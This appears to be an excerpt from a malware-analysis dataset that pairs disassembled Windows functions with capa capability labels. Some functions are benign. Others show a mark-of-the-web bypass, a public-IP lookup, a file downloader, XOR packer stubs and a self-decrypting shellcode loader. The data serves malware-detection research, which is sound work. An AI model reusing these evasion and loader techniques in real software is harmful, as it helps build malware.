joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e4e80
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push edi
push eax
push esi
mov ebx, ecx
mov dword [ebp - 4], 0
call fcn.004a87c0
mov edi, eax
add esp, 8
test edi, edi
jne 0x4e4f24
push eax
push 0x80
push 3
push eax
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4e4f19
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
test eax, eax
je 0x4e4f19
push eax
mov dword [ebp + 8], edi
call fcn.004eff6a
add esp, 4
mov edi, eax
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
cmp dword [ebp + 8], eax
je 0x4e4f15
push edi
call sub.MSVCR120.dll_void___cdecl_operator_delete___void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
test edi, edi
jne 0x4e4f27
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push edi
mov ecx, ebx
call fcn.004e4f50
push edi
mov esi, eax
call sub.MSVCR120.dll_void___cdecl_operator_delete___void__
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4eca00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 8]
mov edi, eax
and edi, 7
je 0x4eca27
cmp eax, edi
jge 0x4eca1f
push esi
call fcn.004e8870
add esp, 4
mov ecx, edi
shr dword [esi + 0xc], cl
sub dword [esi + 8], edi
mov edx, dword [esi + 8]
xor ecx, ecx
test edx, edx
jle 0x4eca50
mov edi, dword [esi + 0xc]
mov al, byte [esi + 0xc]
sub edx, 8
mov byte [ebp + ecx + 8], al
inc ecx
shr edi, 8
mov dword [esi + 0xc], edi
test edx, edx
jg 0x4eca33
mov dword [esi + 8], edx
cmp ecx, 4
jge 0x4eca6c
mov edi, dword [esi + 4]
mov eax, dword [esi]
cmp eax, edi
jb 0x4eca5d
xor dl, dl
jmp 0x4eca62
mov dl, byte [eax]
inc eax
mov dword [esi], eax
mov byte [ebp + ecx + 8], dl
inc ecx
cmp ecx, 4
jl 0x4eca53
mov eax, dword [ebp + 8]
movzx ecx, byte [ebp + 0xb]
movzx edi, ah
movzx eax, al
shl edi, 8
add edi, eax
shl ecx, 8
movzx eax, byte [ebp + 0xa]
add ecx, eax
mov eax, edi
xor eax, 0xffff
cmp ecx, eax
je 0x4ecaa1
pop edi
pop esi
mov dword [ebp + 8], str.zlib_corrupt
pop ebp
jmp fcn.004e8780
mov eax, dword [esi]
add eax, edi
cmp eax, dword [esi + 4]
jbe 0x4ecab9
pop edi
pop esi
mov dword [ebp + 8], str.read_past_buffer
pop ebp
jmp fcn.004e8780
mov ecx, dword [esi + 0x10]
lea eax, [ecx + edi]
cmp eax, dword [esi + 0x18]
jbe 0x4ecad7
push edi
push ecx
push esi
call fcn.004efc80
add esp, 0xc
test eax, eax
jne 0x4ecad7
pop edi
pop esi
pop ebp
ret
push edi
push dword [esi]
push dword [esi + 0x10]
call sub.MSVCR120.dll_memcpy
add dword [esi], edi
add esp, 0xc
add dword [esi + 0x10], edi
mov eax, 1
pop edi
pop esi
pop ebp
ret
Function at 0x401c60
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x18]
cmp eax, 3
ja case.default.0x401c71
jmp dword [eax*4 + 0x408324]
cmp dword [0x4090b4], 0
je 0x401d80
push 0x4090b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x4090d0]
test edi, edi
je 0x401d75
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401cbb
mov edi, dword [edi + 8]
test edi, edi
je 0x401d75
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x401cb0
test esi, esi
je 0x401cb0
mov ecx, dword [edi + 4]
call dword [0x4087ac]
push esi
call ecx
add esp, 4
jmp 0x401cb0
call fcn.004015b0
jmp case.default.0x401c71
cmp dword [0x4090b4], 0
je case.default.0x401c71
push 0x4090b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x4090d0]
test edi, edi
je 0x401d68
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401d27
mov edi, dword [edi + 8]
test edi, edi
je 0x401d68
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x401d20
test esi, esi
je 0x401d20
mov ecx, dword [edi + 4]
call dword [0x4087ac]
push esi
call ecx
add esp, 4
jmp 0x401d20
cmp dword [0x4090b4], 0
jne 0x401d5c
push 0x4090b8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4090b4], 1
jmp case.default.0x401c71
push 0x4090b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp case.default.0x401c71
push 0x4090b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x4090b4]
cmp eax, 1
jne case.default.0x401c71
mov eax, dword [0x4090d0]
test eax, eax
je 0x401db2
nop word cs:[eax + eax]
mov esi, dword [eax + 8]
push eax
call sub.msvcrt.dll_free
add esp, 4
mov eax, esi
test esi, esi
jne 0x401da0
mov dword [0x4090d0], 0
mov dword [0x4090b4], 0
push 0x4090b8
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, 1
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x401ee0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push edi
push esi
mov esi, dword [0x408004]
movzx ecx, word [esi]
xor eax, eax
cmp ecx, 0x5a4d
jne 0x401f46
mov ecx, dword [esi + 0x3c]
cmp dword [esi + ecx], 0x4550
jne 0x401f46
add esi, ecx
movzx ecx, word [esi + 0x18]
cmp ecx, 0x10b
jne 0x401f46
movzx ecx, word [esi + 6]
test ecx, ecx
je 0x401f46
mov edx, dword [esp + 0xc]
sub edx, dword [0x408004]
movzx edi, word [esi + 0x14]
add esi, edi
add esi, 0x18
jmp 0x401f36
add esi, 0x28
dec ecx
je 0x401f46
mov edi, dword [esi + 0xc]
cmp edi, edx
ja 0x401f30
add edi, dword [esi + 8]
cmp edi, edx
jbe 0x401f30
mov eax, esi
pop esi
pop edi
ret
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404288
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x404314
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404318
push 0x407a88
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404320
push 0x407a88
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x407a88
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x407a88
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x407b50
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x407b50
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x407b50
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x407b50
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x407b50
mov esp, ebp
pop ebp
ret
Function at 0x402720
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wd2d2dfw
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40275e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4027cb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x407a54
call section..text
add esp, 4
push eax
push 0x404e20
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x40281e
push 0xcdfe600
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402808
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0xfa9345c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0xa827e23
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43200c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x409ab7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x409ac6
pop dword [ebp - 0x48]
mov eax, 0xfa770f52
sub eax, 0xfa36748c
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3657e
push 0
mov eax, 0xf8ec682b
add eax, 0x75478ad
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0xc83d9eeb
add ecx, 0x37c29d7b
xor edi, edi
add edi, eax
mov esi, 0x6d63b8ee
sub esi, 0x6d227d2a
add esi, dword [ebp - 0x48]
mov ebx, 0x9ab16a62
sub ebx, 0x67eade3f
sub dword [ebp - 0x18], 0xe20a450
mov edx, dword [esi]
mov dword [ebp - 0x28], 0x24326f4f
xor edx, ebx
xor dword [ebp - 0x1c], 0x87e38edb
mov dword [edi], edx
xor dword [ebp - 8], edx
add edi, 4
add esi, 0x1f6385f1
add esi, 0xe09c7a13
loop 0x409b27
add eax, 0x6a65ea1a
sub eax, 0x6a6505af
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x403bec
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, dword [0x434f10]
push edi
push 2
call fcn.0040690a
xor edi, edi
cmp eax, edi
je 0x403c18
call eax
movzx eax, ax
push eax
push 0x442000
call fcn.00406484
jmp 0x403c72
mov ebx, 0x42d268
push edi
push ebx
push edi
push str.Control_PanelDesktopResourceLocale
push 0x80000001
mov word [0x442000], 0x30
mov word [0x442002], 0x78
mov word [0x442004], di
call fcn.0040640b
cmp word [0x42d268], di
jne 0x403c67
push edi
push ebx
push 0x4083d4
push str..DEFAULTControl_PanelInternational
push 0x80000003
call fcn.0040640b
push ebx
push 0x442000
call sub.KERNEL32.dll_lstrcatW
call fcn.00403ec2
mov eax, dword [0x434f18]
mov ebp, 0x440800
and eax, 0x20
push ebp
mov dword [0x434f80], eax
mov dword [0x434f9c], 0x10000
call fcn.00405f14
test eax, eax
jne 0x403d2d
mov ecx, dword [esi + 0x48]
cmp ecx, edi
je 0x403d2d
mov edx, dword [esi + 0x4c]
mov eax, dword [0x434f38]
mov ebx, 0x432ea0
push edi
lea edx, [eax + edx*2]
push ebx
lea eax, [eax + ecx*2]
push edx
push eax
push dword [esi + 0x44]
call fcn.0040640b
mov ax, word [0x432ea0]
cmp ax, di
je 0x403d2d
cmp ax, 0x22
jne 0x403cec
mov ebx, 0x432ea2
push 0x22
push ebx
call fcn.00405e39
mov word [eax], di
push ebx
call sub.KERNEL32.dll_lstrlenW
lea eax, [ebx + eax*2 - 8]
cmp eax, ebx
jbe 0x403d20
push str..exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x403d20
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403d1a
test al, 0x10
jne 0x403d20
push ebx
call fcn.00405e58
push ebx
call fcn.00405e0c
push eax
push ebp
call fcn.0040653d
push ebp
call fcn.00405f14
test eax, eax
jne 0x403d43
push dword [esi + 0x118]
push ebp
call fcn.0040657a
push 0x8040
push edi
push edi
push 1
push 0x67
push dword [0x434f00]
call dword [sym.imp.USER32.dll_LoadImageW]
mov dword [0x433ee8], eax
cmp dword [esi + 0x50], 0xffffffff
mov ebx, 0x433ea0
je 0x403de9
mov ecx, dword [0x434f00]
mov esi, 0x40a380
push ebx
mov dword [0x433ea4], 0x401000
mov dword [0x433eb0], ecx
mov dword [0x433eb4], eax
mov dword [0x433ec4], esi
call dword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x403eb8
lea eax, [esp + 0x10]
push edi
push eax
push edi
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push edi
push dword [0x434f00]
mov eax, dword [esp + 0x24]
sub eax, dword [esp + 0x1c]
push edi
push edi
push eax
mov eax, dword [esp + 0x2c]
sub eax, dword [esp + 0x24]
push eax
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push 0x80000000
push edi
push esi
push 0x80
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x42d248], eax
push edi
call fcn.0040140b
test eax, eax
je 0x403dfb
push 2
pop eax
jmp 0x403eba
call fcn.00403ec2
cmp dword [0x434fa0], edi
jne 0x403e8f
push 5
push dword [0x42d248]
call dword [sym.imp.USER32.dll_ShowWindow]
push str.RichEd20
jmp section..htext
push edi
call fcn.00405672
test eax, eax
je 0x403eb1
cmp dword [0x433ecc], edi
jne 0x403df3
push 2
call fcn.0040140b
jmp 0x403df3
push 1
call fcn.0040140b
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x41d510
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ecx + 4]
xor eax, eax
push esi
push edi
mov edi, dword [ecx]
xor esi, esi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edi
mov dword [edi + 0x16], eax
test ebx, ebx
jle 0x41d54d
nop
movzx edx, byte [edi + esi]
mov ecx, eax
shr ecx, 0x18
inc esi
xor edx, ecx
shl eax, 8
xor eax, dword [edx*4 + 0x5326d0]
cmp esi, ebx
jl 0x41d530
mov ecx, dword [ebp - 4]
mov ebx, dword [ecx + 0xc]
xor esi, esi
test ebx, ebx
jle 0x41d57d
mov edi, dword [ecx + 8]
nop dword [eax]
movzx edx, byte [edi + esi]
mov ecx, eax
shr ecx, 0x18
inc esi
xor edx, ecx
shl eax, 8
xor eax, dword [edx*4 + 0x5326d0]
cmp esi, ebx
jl 0x41d560
mov edi, dword [ebp - 8]
mov byte [edi + 0x16], al
mov ecx, eax
shr ecx, 8
mov byte [edi + 0x17], cl
mov ecx, eax
shr ecx, 0x10
mov byte [edi + 0x18], cl
shr eax, 0x18
mov byte [edi + 0x19], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x424bb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ecx + 0x64]
xor ebx, ebx
imul edi, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 4], ecx
test edi, edi
je 0x424c1b
nop dword [eax]
mov edx, dword [ebp + 0xc]
mov eax, esi
shr eax, 1
movzx edx, byte [eax + edx]
lea eax, [ecx + 0xa8]
lea eax, [eax + ebx*8]
mov ecx, esi
push eax
mov eax, edx
shr edx, 4
and eax, 0xf
and cl, 1
cmove edx, eax
push edx
call fcn.00427250
mov ecx, dword [ebp + 8]
add esp, 8
mov word [ecx + esi*2], ax
mov eax, ebx
mov ecx, dword [ebp - 4]
xor eax, 1
inc esi
cmp dword [ecx + 0x64], 2
cmovne eax, ebx
mov ebx, eax
cmp esi, edi
jb 0x424bd0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4255c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
xor esi, esi
mov eax, dword [edi + 0x64]
imul eax, dword [ebp + 0x10]
mov dword [ebp + 0x10], eax
test eax, eax
je 0x42561b
nop word [eax + eax]
push dword [edi + 0x8c]
lea eax, [edi + 0xa8]
lea eax, [eax + ebx*8]
push eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [esi + eax]
push eax
call fcn.004272d0
mov ecx, dword [ebp + 8]
add esp, 0xc
mov word [ecx + esi*2], ax
mov eax, ebx
xor eax, 1
inc esi
cmp dword [edi + 0x64], 2
cmovne eax, ebx
mov ebx, eax
cmp esi, dword [ebp + 0x10]
jb 0x4255e0
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x426ce0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50feb6
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x5522f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
lea ecx, [edi + 0x10]
mov dword [edi], vtable.CWaveStreamCtrl.0
call fcn.0044b600
mov dword [ebp - 4], 0
lea ecx, [edi + 0x30]
call fcn.00421200
mov byte [ebp - 4], 1
lea ecx, [edi + 0x10]
mov eax, dword [ebp + 8]
mov dword [edi + 0x28], eax
mov eax, dword [ebp + 0xc]
push 0xffffffffffffffff
mov dword [edi + 0x24], 0
mov dword [edi + 0x2c], eax
call fcn.004218a0
mov eax, dword [ebp + 0x10]
mov dword [edi + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [edi + 0xc], eax
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x14

Function at 0x43f52a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x516208]
test eax, eax
je 0x43f569
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43f569
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43f569
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x43f569
cmp dword [ecx + 0x74], 0xe
jbe 0x43f569
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x44d0d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov ebx, edx
test edi, edi
je 0x44d108
imul edx, dword [ecx], 0xe9
movzx eax, byte [esi + ebx]
add eax, edx
mov dword [ecx], eax
add byte [ecx + 4], al
xor byte [ecx + 5], al
movzx eax, byte [esi + ebx]
add byte [ecx + 6], al
movzx eax, byte [esi + ebx]
inc esi
xor byte [ecx + 7], al
cmp esi, edi
jb 0x44d0e1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x451970
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov eax, edx
mov dword [ebp - 8], ecx
mov ecx, dword [0x56ab24]
push edi
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
call fcn.0045a370
test eax, eax
je 0x451a99
call fcn.004524b0
mov edi, dword [ebp + 8]
mov ecx, edi
call fcn.004521d0
test eax, eax
je 0x451a88
mov ecx, dword [eax + 0x20]
mov ebx, 1
call fcn.005030f0
test eax, eax
jne 0x4519d5
mov ecx, edi
call fcn.00451d20
test eax, eax
jne 0x4519d5
xor ebx, ebx
mov esi, 0x80000009
jmp 0x4519d8
mov esi, dword [ebp - 8]
call fcn.004524a0
test ebx, ebx
je 0x451a7f
push 0x1c
call fcn.0042766b
add esp, 4
mov esi, eax
push 0
push 0
push 0
push 0
call dword [0x5162f0]
mov dword [esi + 4], eax
mov eax, dword [ebp - 4]
push esi
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
push 0
push 0x451ab0
mov dword [esi + 8], 0
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], 0
call fcn.00438d80
add esp, 0xc
cmp eax, 0xffffffff
je 0x451a68
push 2
push eax
mov dword [esi], eax
call dword [0x516300]
push 0xffffffffffffffff
push dword [esi + 4]
call dword [0x5162fc]
push dword [esi + 4]
call dword [0x5162f4]
mov eax, dword [ebp - 8]
mov dword [esi + 4], 0
mov dword [eax], esi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1c
push esi
call fcn.0042769b
add esp, 8
mov eax, 0x80000008
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004524a0
mov eax, 0x80000003
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0x80000005
pop ebx
mov esp, ebp
pop ebp
ret